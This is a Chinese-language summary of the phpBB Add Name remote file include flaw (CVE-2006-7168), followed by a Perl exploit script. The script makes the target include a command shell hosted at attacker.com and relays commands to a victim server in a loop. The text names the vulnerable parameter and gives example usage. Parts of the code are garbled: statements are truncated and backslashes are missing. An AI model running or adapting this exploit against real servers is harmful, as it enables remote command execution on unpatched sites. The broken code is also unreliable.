漏洞关键信息 漏洞名称: phpBB Add Name Remote File Include Vulnerability 类型: Remote File Include (RFI) 日期: 2006-10-12 风险等级: High CVSS 基准分: 6.8/10 影响子分: 6.4/10 利用子分: 8.6/10 攻击复杂度: Medium 认证: 不需要认证 CVE ID: CVE-2006-7168 CWE ID: CWE-Other 漏洞利用脚本关键信息 脚本语言: Perl 脚本功能: 利用phpBB Add Name远程文件包含漏洞，执行远程命令 利用点: includes/not_mem.php?phpbb_root_path= 要求参数: [host] [path] 示例用法: Ashiyane.pl www.victim.com /path/ ```perl use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; if (@ARGV ";$cmd = ; while($cmd !~ "END") { $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.nn"; print $socket "GET $path$vul$cmdshell?cmd=".url_escape($cmd)."? HTTP/1.0rn"; print $socket "Host: ".$host."rn"; print $socket "Accept: /rn"; print $socket "Connection: closernn"; while ($raspuns = ) { print $raspuns; } print " "; $cmd = ; }